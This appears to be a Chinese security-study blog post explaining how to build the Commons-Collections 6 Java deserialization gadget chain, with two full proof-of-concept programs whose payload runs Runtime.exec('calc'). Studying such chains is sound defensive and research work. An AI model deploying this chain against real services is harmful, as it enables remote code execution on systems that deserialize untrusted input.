Common-Collections 6
在CC1中,我们谈到了java 8u71以后,AnnotationInvocationHandler#readObject 发生了变化,导致原有的链无法利用了,那在高版本的java中,如何改造这条利用链呢?关键在于如何调用LazyMap#get,我们来看一下通用性较高的CC6是如何构造的
/*
Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashMap.readObject()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
*/
TiedMapEntry
我们找到了TiedMapEntry这个类,在其getValue方法中,可调用get方法
⽽getValue⽅法可由其hashCode⽅法调⽤
那接下来就是寻找哪里可以触发 TiedMapEntry#hashCode了,这里有两种调用方式,ysoserial中,是利⽤java.util.HashSet#readObject 到 HashMap#put() 到 HashMap#hash(key),最后到 TiedMapEntry#hashCode() ;
而我们要利用的是java.util.HashMap#readObject到 HashMap#hash() ,从而触发TiedMapEntry#hashCode(),比原版简洁。
java.util.HashMap#readObject调用了hash(key),从而调用key.hashCode(),我们只需要 让key等于TiedMapEntry即可
构造代码
根据前面的信息和CC1所学知识,我们先初步构造代码
package CCdemo;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.util.HashMap;
import java.util.Map;
public class test {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec", new Class[] { String.class },new String[]{"calc"})};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap,chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"6");
Map expMap = new HashMap();
expMap.put(tiedMapEntry,"value");
//模拟序列化
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();
System.out.println(barr);
//模拟反序列化
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
经过调试发现存在两个问题,第一,expMap.put(tiedMapEntry,"value")会先执行hash函数,导致我们构造的链子提前执行,虽然会弹出计算器,不过这是由put函数调用执行的,这显然不是我们想要的结果
那如何解决呢?可以参照urldns那条链子的方法,先设置一个假的对象,使其传入LzayMap,到序列化之前,再使用反射将其更改为我们构造的对象
//将faketransformers设置入LazyMap中
Transformer[] faketransformers =new Transformer[]{new ConstantTransformer(1)};
Transformer chainedTransformer = new ChainedTransformer(faketransformers);
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap,chainedTransformer);
//使用反射将真正的transformers数组设置进来
Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(chainedTransformer,transformers);
更改代码后,再次尝试执行,没反应,这就需要解决接下来的问题了
第二个问题是,经过put操作后,会使其获得key,从而导致LazyMap的get方法中无法调用transform方法,map.containsKey(key)结果为ture
那如何解决呢?很简单,将其remove即可
lazyMap.remove("6");
完整demo如下
package CCdemo;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class test {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec", new Class[] { String.class },new String[]{"calc"}),
new ConstantTransformer(1)};
Transformer[] faketransformers =new Transformer[]{new ConstantTransformer(1)};
Transformer chainedTransformer = new ChainedTransformer(faketransformers);
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap,chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap,"6");
Map expMap = new HashMap();
expMap.put(tiedMapEntry,"value");
lazyMap.remove("6");
Field iTransformers = ChainedTransformer.class.getDeclaredField("iTransformers");
iTransformers.setAccessible(true);
iTransformers.set(chainedTransformer,transformers);
//模拟序列化
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(expMap);
oos.close();
System.out.println(barr);
//模拟反序列化
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object)ois.readObject();
}
}
运行,成功弹出计算器
总结
这个利⽤链可以在Java 7和8的⾼版本触发,没有版本限制,所以通用性较强